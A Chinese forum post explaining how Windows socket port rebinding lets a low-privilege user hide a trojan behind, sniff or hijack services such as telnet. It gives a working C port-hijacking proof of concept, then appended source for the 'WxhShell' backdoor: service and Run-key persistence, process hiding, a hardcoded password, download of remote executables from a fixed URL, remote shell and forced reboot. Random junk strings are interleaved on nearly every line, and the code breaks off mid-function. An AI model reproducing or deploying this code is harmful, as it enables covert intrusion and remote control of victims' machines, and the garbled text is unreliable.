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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |WMP_sGn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !W?6,i-]  
=bDy :yY}  
  saddr.sin_family = AF_INET; }2CVA.Qm!  
Th%2pwvER  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6Q}WX[| tQ  
D qh rg;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6 OLp x)fG  
5$;#=WAY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NJ];Ck  
f.X<Mo   
  这意味着什么?意味着可以进行如下的攻击: e/* T,ZJ  
`zmj iC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fBZAO  
<~ 9a3c?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nPh| rW=  
ER4j=O#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s4uYp  
>56I`[)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }US^GEs(  
c u:1|gt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ed$;#4  
L28DBjE)A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }k7t#O  
+;*dFL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Tu*"+*r>s  
!caY  
  #include )~CnDk}^R  
  #include hJsYKd8g  
  #include vD@ =V#T  
  #include    /Q*o6G ys0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YKtF)N;m]  
  int main() x.ZW%P1  
  { $lYy`OuC  
  WORD wVersionRequested; q o^PS  
  DWORD ret; X6`F<H`  
  WSADATA wsaData; /6@iRswa  
  BOOL val; l*(Ml= O{  
  SOCKADDR_IN saddr; AIK99  
  SOCKADDR_IN scaddr; N# ?}r>W3  
  int err; .{}=!>U2  
  SOCKET s; h:qt?$]J  
  SOCKET sc; hI Q 2s  
  int caddsize; ~E J+<[/  
  HANDLE mt; $wq[W,'#L  
  DWORD tid;   gZ b +m  
  wVersionRequested = MAKEWORD( 2, 2 ); -<MA\iSP  
  err = WSAStartup( wVersionRequested, &wsaData ); QgZ`~  
  if ( err != 0 ) { ljJi|+^$  
  printf("error!WSAStartup failed!\n"); Iq%f*Zm<  
  return -1; FWu[{X;  
  } T|fmO<e*n  
  saddr.sin_family = AF_INET; :e|[gEA  
   :1/K$A)^{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kafRuO~$  
40ZHDtIu<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QhqXd  
  saddr.sin_port = htons(23); W7 iml|WV0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +q NX/F  
  { BXx0Z %e.3  
  printf("error!socket failed!\n"); =}h8Cl{H/  
  return -1; Q3OGU}F  
  } hnf7Q l}  
  val = TRUE; 4x;vn8 yh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Cvk n2T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6~#$bp^-  
  { gqCDF H  
  printf("error!setsockopt failed!\n"); 9PZY](/  
  return -1; &Ub0o2+y  
  } Eh{]so  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dYP-QUM$7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k_$9cVA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Rfuq(DwD6  
f5p:o}U*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 93+p~?  
  { gs?=yNL  
  ret=GetLastError(); G5K_e:i  
  printf("error!bind failed!\n"); %n7mN])  
  return -1; )08mG_&atL  
  } sb^%eUU])  
  listen(s,2); N%:)MT,&g  
  while(1) Y%"6  
  { @2HNYW)  
  caddsize = sizeof(scaddr); 0w24lVR.  
  //接受连接请求 4PsJs<u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RXZ}aX[h  
  if(sc!=INVALID_SOCKET) n:i?4'-}  
  { ?oKY"C8/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h_{//W[  
  if(mt==NULL) nm3/-Q},  
  { xdqiogue  
  printf("Thread Creat Failed!\n"); D%k`udz<  
  break; ?~g X7{>  
  } ]EhU8bZ  
  } #4Z]/D2G  
  CloseHandle(mt); kCoTz"Z-  
  } N4z(2.  
  closesocket(s); K;fRDE) {  
  WSACleanup(); UCv9G/$  
  return 0; `VB]4i}u  
  }   EoOB0zo}Y+  
  DWORD WINAPI ClientThread(LPVOID lpParam) `fA|])3T  
  { D. _*p  
  SOCKET ss = (SOCKET)lpParam; iCK p"(kf  
  SOCKET sc; U:[#n5g  
  unsigned char buf[4096]; Z[&7NJo(  
  SOCKADDR_IN saddr;  ,m^@S  
  long num; w)u6J ,  
  DWORD val; D-GIrw{>5  
  DWORD ret; bOKgR{i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y66V&#`,e0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q:/BC= ~  
  saddr.sin_family = AF_INET; F N)vFQ#J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kq m$a  
  saddr.sin_port = htons(23); 5/m^9@A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7j <:hF~  
  { k'hJ@ 6eKS  
  printf("error!socket failed!\n"); Gx.iZOOH/  
  return -1; !VF.=\iH/  
  } g/2eY$6Z  
  val = 100; :Jz@`s1n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~SWR|[  
  { ^I4/{,Ev  
  ret = GetLastError(); %I&[:  
  return -1; ;g M$%!&  
  } p` '8M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n qR8uL>  
  { ND3(oes+;K  
  ret = GetLastError(); q!5 *) nw"  
  return -1; !oDX+hd,%>  
  } { 4(E @  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ee9nfvG-  
  { $d[xSwang  
  printf("error!socket connect failed!\n"); %^r}$mfy:0  
  closesocket(sc); @H?_x/qBT  
  closesocket(ss); e{8j(` (;#  
  return -1; 9w%|Nk>=>  
  } z g'1T2t  
  while(1) tBZ&h` V  
  { t mCm54  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~|7jz;$V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 99<0xN(25  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KG5h$eM'  
  num = recv(ss,buf,4096,0); =h#3D?b0n  
  if(num>0) bkZ~O=uv$-  
  send(sc,buf,num,0); WrS|$: 0  
  else if(num==0) }.uB6&!:  
  break; hkh b8zS  
  num = recv(sc,buf,4096,0); JMnk~8O  
  if(num>0) %Q0J$eC  
  send(ss,buf,num,0); ) Apg  
  else if(num==0) yLo{^4a.  
  break; ##6_kcL:6G  
  } X)tf3M {J@  
  closesocket(ss); \U1fUrw$*  
  closesocket(sc); bg8<}~zg  
  return 0 ; `?X=@  
  } )AX0x1I|E  
6"d^4L?  
H| uvcvf  
========================================================== ~sI$xX!  
]lKQ wpX3  
下边附上一个代码,,WXhSHELL *TjolE~o  
jf_0IE  
========================================================== e2SU)Tr%b  
J5J$qCJq  
#include "stdafx.h" }Z|uLXaz  
jmcb-=ts  
#include <stdio.h> Or0eY#c  
#include <string.h> YEEgDw]BQ  
#include <windows.h>  QTN _Z#'  
#include <winsock2.h> g' xR$6t  
#include <winsvc.h> $7#N@7  
#include <urlmon.h> Bhy:" r%#  
$9}z^sGIM  
#pragma comment (lib, "Ws2_32.lib") P&ig.Og*  
#pragma comment (lib, "urlmon.lib") 78s:~|WB<{  
d" "GG/  
#define MAX_USER   100 // 最大客户端连接数 &*}NN5Sv  
#define BUF_SOCK   200 // sock buffer [I`r[u  
#define KEY_BUFF   255 // 输入 buffer Zl0Kv *S  
nbnbG0r:  
#define REBOOT     0   // 重启 o4)^U t+  
#define SHUTDOWN   1   // 关机 <eObQ[mQ  
Bh9O<|E  
#define DEF_PORT   5000 // 监听端口 !Cm<K*c"&E  
:y?xS  
#define REG_LEN     16   // 注册表键长度 \LFRu  
#define SVC_LEN     80   // NT服务名长度 q/o|uAq  
GP %83T  
// 从dll定义API "%c\i-&t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %f{1u5+5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d2Z kchf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y4%Bx8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H$^b.5K  
!bnuCc  
// wxhshell配置信息 idm!6]  
struct WSCFG { )\:cL GM  
  int ws_port;         // 监听端口 kAbkhZ1^  
  char ws_passstr[REG_LEN]; // 口令 z2m%L0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1_Um6vS#  
  char ws_regname[REG_LEN]; // 注册表键名 TJ:B_F*bSk  
  char ws_svcname[REG_LEN]; // 服务名 +F &,,s"&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %!r>]M <  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @#T*OH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dQ=mg#(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k)W8%=R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BReNhk)S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f6 zT  
gr'M6&>  
}; D t~Jx\\  
Y",Fs(  
// default Wxhshell configuration z$3 3NM  
struct WSCFG wscfg={DEF_PORT, Kilq Jg1%C  
    "xuhuanlingzhe", apxZ}  
    1, zMfr`&%e  
    "Wxhshell", H61 ,pr>  
    "Wxhshell", 8oSndfV  
            "WxhShell Service", $XFiH~GI  
    "Wrsky Windows CmdShell Service", x%ZgLvdp,  
    "Please Input Your Password: ", qll)  
  1, yZ[H&>  
  "http://www.wrsky.com/wxhshell.exe", ta>:iQ a  
  "Wxhshell.exe" h[D"O6 y  
    }; 8>Xyz`$kH  
~jab/cR  
// 消息定义模块 _y}]j;e8>{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Azx4+`!-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q$EicH}k8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IqK??KSC  
char *msg_ws_ext="\n\rExit."; aU]A#g   
char *msg_ws_end="\n\rQuit."; .:tAZZ  
char *msg_ws_boot="\n\rReboot..."; )5Ddvz>+  
char *msg_ws_poff="\n\rShutdown..."; tT}*%A  
char *msg_ws_down="\n\rSave to "; .*u, !1u  
nXDU8|"  
char *msg_ws_err="\n\rErr!"; <|~8Ezd  
char *msg_ws_ok="\n\rOK!"; @[0zZX2EE  
=`5Xx(  
char ExeFile[MAX_PATH]; rn l~i  
int nUser = 0; *0)vsBi  
HANDLE handles[MAX_USER]; 6(4FC?Y7  
int OsIsNt; Kk2PWJ7  
X>w(^L*>  
SERVICE_STATUS       serviceStatus; L]L-000D(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -LL49P6  
Cf`s:A5<J  
// 函数声明 d `LBFH,  
int Install(void); ]KfjZ!Qh  
int Uninstall(void);  ?[Od.  
int DownloadFile(char *sURL, SOCKET wsh); UQ#"^`=R<  
int Boot(int flag); ql5NSQ>{  
void HideProc(void); "d'D:>z]%  
int GetOsVer(void); sQrP,:=r#  
int Wxhshell(SOCKET wsl); D 8^wR{-;J  
void TalkWithClient(void *cs); A4.Q \0  
int CmdShell(SOCKET sock); WJ$D]7  
int StartFromService(void); * B!uYP  
int StartWxhshell(LPSTR lpCmdLine); YC#N],#  
j  )6A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fu3/n@L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w-?_U7'  
_}.BZ[i  
// 数据结构和表定义 MtC\kTW  
SERVICE_TABLE_ENTRY DispatchTable[] = K!6k<  
{ G(F }o]  
{wscfg.ws_svcname, NTServiceMain}, * 8n0  
{NULL, NULL} K_ P08  
}; T]\_[e:'  
K1Ms  
// 自我安装 WpE\N0Yg  
int Install(void) (J8 (_MF  
{ 7A|n*'[T>  
  char svExeFile[MAX_PATH]; PSz|I8 c  
  HKEY key; /t`s.!k  
  strcpy(svExeFile,ExeFile); dieGLA<5_X  
:R+}[|FV  
// 如果是win9x系统,修改注册表设为自启动 M XsSF|-  
if(!OsIsNt) { N;e d_!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b f.__3{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5LU8QHj3  
  RegCloseKey(key); ; F% 3b47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~aKxwH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bD[W`yW0  
  RegCloseKey(key); )IQa]A  
  return 0; A{mv[x-XN  
    } BtS#I[-p_  
  } bhaIi>W~G  
} T!C39T  
else { \EF^Ag  
4$ LVl  
// 如果是NT以上系统,安装为系统服务 '+LbFGrO3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ca/AScL  
if (schSCManager!=0) BwwOaO@L  
{ T)J=lw  
  SC_HANDLE schService = CreateService !L4Vz7 C  
  ( | T<t19  
  schSCManager, XnmQp)nyV  
  wscfg.ws_svcname, m[6?v;w  
  wscfg.ws_svcdisp, Q@gmtAp  
  SERVICE_ALL_ACCESS, 3B#qQ#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _]btsv\)f  
  SERVICE_AUTO_START, `,|"rn#S  
  SERVICE_ERROR_NORMAL, sJ[I<  
  svExeFile, U:xY~>  
  NULL, +jQHf-l  
  NULL, 4Cs |F7R  
  NULL, aI]EwVz-q  
  NULL, lt\. )Y>4  
  NULL F]kn4zr  
  ); ygoA/*s  
  if (schService!=0) Os--@5e  
  { $'# hCs  
  CloseServiceHandle(schService); U^iNOMs?  
  CloseServiceHandle(schSCManager); *#p}>\Y{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o NX-vN-  
  strcat(svExeFile,wscfg.ws_svcname); *@`Sx'5!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EM9K^l`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8D3|}z?  
  RegCloseKey(key); .} al s  
  return 0; 8i:E$7etH  
    } $m{-I=  
  } *9J >3   
  CloseServiceHandle(schSCManager); S"+X+Oxp7?  
} Yxik .S+G  
} 2wR?ON=Q  
BZHba8c(  
return 1; )5n*4A  
} 6 axe  
yOHVL~F  
// 自我卸载 s6=jHrdvv  
int Uninstall(void) X@;; h  
{ <r 2$k"*:  
  HKEY key; ?wM{NVt#-  
Msj(>U&}+  
if(!OsIsNt) { ejs_ ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %l{0z<  
  RegDeleteValue(key,wscfg.ws_regname); =^a Ngq  
  RegCloseKey(key); >Pa&f20Hp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IZ?+c@t  
  RegDeleteValue(key,wscfg.ws_regname); j{QzD^t  
  RegCloseKey(key); CshYUr -  
  return 0; [_kis  
  } WBc,/lgZ  
} ux>wa+XFa  
} cV8Bl="gqe  
else { O^/z7,  
p1}umDb%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rjk{9u1a"  
if (schSCManager!=0) u*n%cXY;J/  
{ JK.<(=y\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $W}YXLFj?  
  if (schService!=0) BF)!VnJ  
  { hbfN1 "z  
  if(DeleteService(schService)!=0) { Tfsx&k\  
  CloseServiceHandle(schService); Lt'FA  
  CloseServiceHandle(schSCManager); LT+QW  
  return 0; /:S&1'=  
  } 3` ,u^ w  
  CloseServiceHandle(schService); p;nRxi7'  
  } o'Rr2,lVi  
  CloseServiceHandle(schSCManager); {N.J A=  
} \3K%>   
} *z?Vy<u G  
r@WfZ  Z  
return 1; Lp1\vfU<+  
} sKu/VAh x  
+g.lLb*#  
// 从指定url下载文件 * I)F5M  
int DownloadFile(char *sURL, SOCKET wsh) eHX;*~e6)  
{ |FED<  
  HRESULT hr; 4eD>DW  
char seps[]= "/"; QYB66g:  
char *token; T~D2rt\  
char *file; UO~Xzx!e  
char myURL[MAX_PATH]; /9QC$Z):<  
char myFILE[MAX_PATH]; /&>vhpZ}  
X0FTD':f  
strcpy(myURL,sURL); *OM+d$l!  
  token=strtok(myURL,seps); OdSglB  
  while(token!=NULL) 8bTE# 2+-  
  { vyS8yJUY  
    file=token; .#Vup{.  
  token=strtok(NULL,seps); PNgdWf3  
  } S:= _o  
!_i;6UVG  
GetCurrentDirectory(MAX_PATH,myFILE); QZZt9rA;  
strcat(myFILE, "\\"); V'iT>  
strcat(myFILE, file);  Y%zYO  
  send(wsh,myFILE,strlen(myFILE),0); ny l[d|pVa  
send(wsh,"...",3,0); H{1'OC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MP6Py@J45  
  if(hr==S_OK) ;N(9nX}%)  
return 0; %M7EOa  
else 59k[A~)~  
return 1; ORDVyb_x  
*xV  
} 9YQYg@+R  
BbC aIt  
// 系统电源模块 ]yAOKmS  
int Boot(int flag) ,v@C=4'm  
{ P9yg  
  HANDLE hToken; dTTC6?yPXf  
  TOKEN_PRIVILEGES tkp; ]tsp}M@  
,^n5UA`PK  
  if(OsIsNt) { &x.n>O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YQ$Wif:@(n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eeM$c`Y<  
    tkp.PrivilegeCount = 1; YiGSFg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c,L{Qv"n{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ljs4^vy <J  
if(flag==REBOOT) { ^| r6>b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _C4N6YdU  
  return 0; |!6<L_31%  
} .~AQxsGH  
else { QLLMSa+! \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ha41Wn'tZ  
  return 0; E'^$~h$  
} 7=`_UqCV  
  } /D~MHO{  
  else { ir<K"wi(2  
if(flag==REBOOT) { L (@".{T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EC8Fapy  
  return 0; @Wl2E.)K;  
} D:=Q)Uh0I  
else { :pw6#yi8`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /r?EY&9G  
  return 0; A$1Gc> C  
} WB|N)3-1  
} @.8FVF  
oR@1/lV  
return 1; u"5 hlccH  
} aB^`3J  
2]'cj  
// win9x进程隐藏模块 +Ua.\1"6  
void HideProc(void) j 21>\K!p  
{ a0)]W%F  
LB\+*P6QM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;=lQMKx0  
  if ( hKernel != NULL ) @!KG;d:l  
  { I4Rd2G_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wagb|B\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /I~(*X  
    FreeLibrary(hKernel); $,8}3R5}  
  } J/>9w  
["BD,mB  
return; Xf%wW[~  
} zL=PxFw0  
i~ITRi@  
// 获取操作系统版本 7*C>4Gs  
int GetOsVer(void) W%P$$x5&  
{ t2hI^J0y  
  OSVERSIONINFO winfo; <d~IdK'\x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F x3X  
  GetVersionEx(&winfo); 7OdJ&Gzd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /;;$9O9  
  return 1; Z_ (P^/  
  else \}:;kO4f  
  return 0; 6QX2&[qWS  
} z|v/h UrD  
M d.^r5r  
// 客户端句柄模块 Q=?YY-*$  
int Wxhshell(SOCKET wsl) \qw1\-q  
{ ,T0q.!d  
  SOCKET wsh; [W Ud9fUL  
  struct sockaddr_in client; z+{Q(8'b]  
  DWORD myID; v<:/u(i  
%ou@Y`  
  while(nUser<MAX_USER) m~RMe9Qi  
{ / TAza9a  
  int nSize=sizeof(client); Rc#c^F<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?XnKKw\  
  if(wsh==INVALID_SOCKET) return 1; #<81`%  
LPS]TG\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2|JtRE+  
if(handles[nUser]==0) Jl@YBzDfF  
  closesocket(wsh); 8fC 5O  
else D[Kq`  
  nUser++; 0}wmBSl  
  } 4|/=]w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qK,PuD7i"  
KA{ JSi  
  return 0; u iR[V~  
} zw}Wm4OH  
a]t| /Mq  
// 关闭 socket wvPS0]  
void CloseIt(SOCKET wsh) NU(YllPB  
{ d_)VeuE2  
closesocket(wsh); =@s{H +  
nUser--; DpvMY94Qh  
ExitThread(0); %3es+A@  
} fa 2hQJ02  
f <LRM  
// 客户端请求句柄 aB2t/ua  
void TalkWithClient(void *cs) !"bU|a  
{ -^WW7 g`  
Ak+MR EG  
  SOCKET wsh=(SOCKET)cs; nRh.;G  
  char pwd[SVC_LEN]; q4]Qvf>  
  char cmd[KEY_BUFF]; `Oe"s_O#  
char chr[1]; A ^X1  
int i,j; H'x) [2  
}HxC ~J"  
  while (nUser < MAX_USER) { ]?UK98uS\A  
6GsB*hW  
if(wscfg.ws_passstr) { 2<TpNGXM_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U$EQeb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]_mcJ/6:  
  //ZeroMemory(pwd,KEY_BUFF); ^$~&e :{  
      i=0; >L,Pw1Y0W[  
  while(i<SVC_LEN) { VdF<#(X+  
25/M2u?  
  // 设置超时 ?;ovh nY)  
  fd_set FdRead; 4N_iHe5U  
  struct timeval TimeOut; g$^I/OK?  
  FD_ZERO(&FdRead); U^d!*9R  
  FD_SET(wsh,&FdRead); =m/BH^|&W  
  TimeOut.tv_sec=8; [f#7~  
  TimeOut.tv_usec=0; w~Jy,[@n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k@9CDwh*s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sg8j}^VI  
%^}|HG*i??  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sO 0j!;N  
  pwd=chr[0]; '=cAdja  
  if(chr[0]==0xd || chr[0]==0xa) { !xz{X?  
  pwd=0; /(?,S{]  
  break; u$nYddak  
  } ^ SW!S_&Z2  
  i++; mM\jU5P:^  
    } hDD]Kc;G^1  
O[\obi"}  
  // 如果是非法用户,关闭 socket llRQxk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \!s0H_RJY  
} hg+0!DVx  
OJXK]dZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ySNXjH Q=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1MxO((k  
K%(DRkj)  
while(1) { w ?"s6L3  
<gjA(xT5  
  ZeroMemory(cmd,KEY_BUFF); v|GDPq  
2_ CJV  
      // 自动支持客户端 telnet标准   y9X1X{  
  j=0; 7cV GB  
  while(j<KEY_BUFF) { ^8{:RiN6e~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i~uoK7o|G  
  cmd[j]=chr[0]; xL\R-H^c]  
  if(chr[0]==0xa || chr[0]==0xd) { e3}o3c_  
  cmd[j]=0; m!^z{S  
  break; 2F|06E'  
  } q#*b4q {  
  j++; !z |a+{  
    } epQdj=h  
'<%;Nv  
  // 下载文件 T}y@ a^#  
  if(strstr(cmd,"http://")) { {O (@}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ["SD'  
  if(DownloadFile(cmd,wsh)) 0)E`6s#M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <S(`e/#[  
  else 7(]M`bBH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H@V+Q}  
  } T56%3i  
  else { G*W54[  
Qcs >BOV~  
    switch(cmd[0]) { *S] K@g  
  N)o/}@]6  
  // 帮助 qZ rv2dT  
  case '?': { .Uh|V -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \4"01:u'  
    break; mH5[(?   
  } 95b65f  
  // 安装 %tT=q^%5  
  case 'i': { mFW/xZwR,5  
    if(Install()) ?b3({P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QRAw#  
    else >SaT?k1E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}toUqUnk\  
    break; ,,CheRO  
    } 2pV@CT  
  // 卸载 =`KV),\  
  case 'r': { G_)(?  
    if(Uninstall()) $\vTiS'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~#nbD-*#  
    else uJu#Vr:m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MT(G=r8  
    break; )sG/H8  
    } y)0wM~E;2  
  // 显示 wxhshell 所在路径 MfK}DEJK,  
  case 'p': { 'D17]Lp~.  
    char svExeFile[MAX_PATH]; UY`U[#  
    strcpy(svExeFile,"\n\r"); H3Sfz'  
      strcat(svExeFile,ExeFile); P#N@W_""YD  
        send(wsh,svExeFile,strlen(svExeFile),0); P=PVOt@ b  
    break; *|^}=ioj*  
    } 2/.I6IbL  
  // 重启 drW}w+ !  
  case 'b': { Nc[[o>/Cb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IM*T+iRKqF  
    if(Boot(REBOOT)) YCS8qEP&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXewS_7  
    else { I>(-&YbC  
    closesocket(wsh); >w)A~ F<  
    ExitThread(0); x'hUw*  
    } PBY ^m+  
    break; Yb=Z `)  
    } .jvRUD8A7  
  // 关机 m5\/7 VC  
  case 'd': { :+$/B N:iO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EViQB.3w\  
    if(Boot(SHUTDOWN)) >cRE$d?  
